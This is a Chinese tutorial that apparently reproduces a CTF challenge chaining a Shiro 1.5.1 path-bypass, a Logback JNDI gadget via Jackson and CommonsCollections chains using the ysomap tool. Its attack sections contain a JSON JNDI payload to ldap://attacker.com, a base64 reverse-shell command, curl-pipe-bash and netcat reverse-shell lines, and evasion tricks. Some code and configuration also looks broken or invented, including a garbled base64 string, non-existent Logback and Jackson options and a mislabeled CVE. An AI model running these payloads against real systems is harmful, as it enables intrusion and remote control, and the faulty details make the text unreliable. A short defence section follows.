从一道CTF题到实战:手把手教你复现Shiro 1.5.1与Logback 1.2.1组合漏洞(含ysomap工具使用)
发布时间:2026/6/8 21:56:18
分类:文化教育
浏览:1234
)
从CTF到实战深度剖析Shiro与Logback组合漏洞的攻防艺术在网络安全竞赛中那些看似晦涩的CTF题目往往隐藏着真实世界的漏洞利用逻辑。当一道名为EzShiro的题目出现在NPUCTF2020赛场时它巧妙地将Shiro权限绕过、Logback反序列化和CommonsCollections利用链编织在一起构建了一个贴近实战的漏洞利用场景。本文将带您从零开始完整复现这个典型的多层漏洞组合案例并分享ysomap工具在高版本JDK环境下的实战技巧。1. 漏洞环境全景解析1.1 组件版本与漏洞矩阵目标环境的关键组件构成了一张危险的漏洞网络组件名称版本号关联漏洞利用条件Apache Shiro1.5.1权限绕过(CVE-2020-1957)特定URL格式构造Logback-core1.2.1JNDI注入(CVE-2019-14439)Jackson反序列化触发点Commons-Collections3.2.1反序列化利用链JDK8中低版本环境这个组合的独特之处在于Shiro的权限绕过为攻击者打开了入口而Logback的JNDI注入点与Commons-Collections的利用链形成了完整的攻击路径。在实际渗透测试中这种多层级漏洞串联的情况比单一漏洞更具杀伤力。1.2 环境搭建的五个关键点Spring Boot基础配置dependency groupIdorg.springframework.boot/groupId artifactIdspring-boot-starter-web/artifactId /dependency确保使用Spring Boot 2.x版本以兼容Shiro 1.5.1Shiro的URL匹配陷阱// 错误配置示例 filterChainDefinitionMap.put(/json, authc); // 正确配置应包含路径规范化处理Logback的JNDI开关 在logback.xml中需要启用JNDI功能configuration debugtrue jndiContext environment property namejava.naming.factory.initial valuecom.sun.jndi.ldap.LdapCtxFactory/ /environment /jndiContext /configurationJackson的多态类型处理ObjectMapper mapper new ObjectMapper(); mapper.enableDefaultTyping(); // 必须开启此选项JDK版本选择 推荐使用JDK8u191以下版本或手动移除JNDI注入防护java -Dcom.sun.jndi.ldap.object.trustURLCodebasetrue -jar target/app.jar注意生产环境切勿禁用JNDI防护此处仅用于漏洞研究环境搭建2. 权限绕过的艺术突破Shiro的防线2.1 URL解析差异的深度利用Shiro 1.5.1版本的权限绕过源于其对URL路径处理的缺陷。当遇到/;/json这类非标准路径时Shiro的路径解析流程接收请求路径/;/json移除分号及其后内容 →/匹配权限规则时检查/的权限判断为无需认证Spring的路径解析流程接收相同路径/;/json标准化处理后 →/json最终路由到PostMapping(/json)方法这种解析差异导致Shiro认为请求访问的是无需认证的根路径而Spring最终将请求路由到需要认证的/json接口。攻击者利用这个时间差成功绕过权限检查。2.2 实战中的三种变形技巧除了经典的/;/json格式还可以尝试路径混淆变体POST /;/json HTTP/1.1 POST /%2f/json HTTP/1.1 POST /./json HTTP/1.1Header注入配合GET /json HTTP/1.1 X-Original-URL: /admin参数污染技巧POST /json;foobar HTTP/1.1在真实环境中建议使用Burp Intruder对这些变体进行批量测试特别是当标准绕过方式被防护时。3. 漏洞利用链的精妙构造3.1 Logback的JNDI注入点分析ch.qos.logback.core.db.JNDIConnectionSource类中存在不安全的JNDI查找public class JNDIConnectionSource { private String jndiLocation; // 可控输入点 public void lookup() { InitialContext ctx new InitialContext(); ctx.lookup(jndiLocation); // 危险操作 } }攻击者通过Jackson反序列化可以完全控制jndiLocation参数。典型的攻击载荷如下[ ch.qos.logback.core.db.JNDIConnectionSource, { jndiLocation: ldap://attacker.com/Exploit } ]3.2 高版本JDK的绕过策略当目标使用JDK8u191以上版本时传统的JNDI注入会失效。此时需要本地类加载利用链利用Commons-Collections 3.2.1中的Transformer链通过LDAP服务返回序列化对象而非直接加载远程类ysomap工具配置示例use exploit LDAPLocalChainListener set lport 6688 use payload CommonsCollections8 use bullet TransformerBullet set version 3 set command bash -c {echo,YmFzaCAtaSAJiAvZGV2L3RjcC8xMjQuNzAuNDAuNS8xMjM0IDAJjE}|{base64,-d}|{bash,-i} run关键参数说明lport本地LDAP服务监听端口version必须与目标Commons-Collections版本匹配commandBase64编码的反弹Shell命令3.3 利用链的完整触发流程发送恶意JSON到/;/json端点Jackson反序列化触发JNDIConnectionSource初始化JNDI查找指向攻击者控制的LDAP服务器LDAP返回包含CommonsCollections利用链的序列化对象目标执行链式转换最终触发命令执行sequenceDiagram participant A as 攻击者 participant T as 目标服务器 participant L as LDAP服务 A-T: 发送恶意JSON请求 T-T: Jackson反序列化 T-L: JNDI查找请求 L-T: 返回恶意序列化对象 T-T: CommonsCollections链执行 T-A: 建立反向Shell连接4. ysomap工具的高级实战技巧4.1 环境适配问题解决当遇到工具执行失败时重点检查JDK版本兼容性java -version # 必须为JDK8 echo $JAVA_HOME # 确认环境变量正确依赖库冲突处理mvn dependency:tree deps.txt # 检查是否有多个版本的Commons-Collections网络配置要点确保LDAP端口(默认6688)未被占用关闭防火墙或设置端口转发iptables -A INPUT -p tcp --dport 6688 -j ACCEPT4.2 模块化攻击载荷设计ysomap支持灵活的载荷组合# 伪代码示例 exploit LDAPLocalChainListener() exploit.set_port(12345) payload CommonsCollections8() payload.set_command(touch /tmp/pwned) bullet TransformerBullet() bullet.set_version(3) exploit.add_payload(payload) exploit.add_bullet(bullet) exploit.run()这种模块化设计允许攻击者快速切换不同的利用链和攻击方式。4.3 内存规避技术针对现代防护系统的对抗技巧无文件攻击set command curl http://attacker.com/shell.sh|bash反射加载规避// 使用反射调用危险方法 Method m Runtime.class.getDeclaredMethod(exec, String.class); m.invoke(Runtime.getRuntime(), malicious_command);延时触发策略set command sleep 30 nc attacker.com 4444 -e /bin/bash5. 防御体系的构建思路5.1 组件层面的加固措施Shiro配置规范// 启用严格路径匹配 shiroFilter.setFilterChainResolver(new PathMatchingFilterChainResolver() { Override public FilterChain getChain(ServletRequest request, ServletResponse response, FilterChain originalChain) { String requestURI getPathWithinApplication(request); // 添加路径规范化处理 requestURI normalizePath(requestURI); return super.getChain(request, response, originalChain); } });Logback安全配置!-- 禁用JNDI功能 -- configuration disableJNDItrue/disableJNDI /configurationJackson安全设置ObjectMapper mapper new ObjectMapper(); // 禁用危险特性 mapper.disableDefaultTyping(); mapper.enable(JsonParser.Feature.STRICT_CHARACTERESCAPING);5.2 运行时防护方案JVM参数加固-Dcom.sun.jndi.ldap.object.trustURLCodebasefalse -Dlogback.configurationFile/secure/path/to/logback.xmlRASP防护规则# 伪代码示例 def detect_serialization_attack(data): blacklist [ JNDIConnectionSource, InvokerTransformer, AnnotationInvocationHandler ] return any(bad_key in data for bad_key in blacklist)网络层过滤location ~* \.(json|xml)$ { if ($args ~* jndi:) { return 403; } }在真实攻防对抗中防御者需要建立从代码层到基础设施层的纵深防御体系而攻击者则不断寻找防御链条中最薄弱的环节。这种动态博弈正是网络安全领域永恒的主题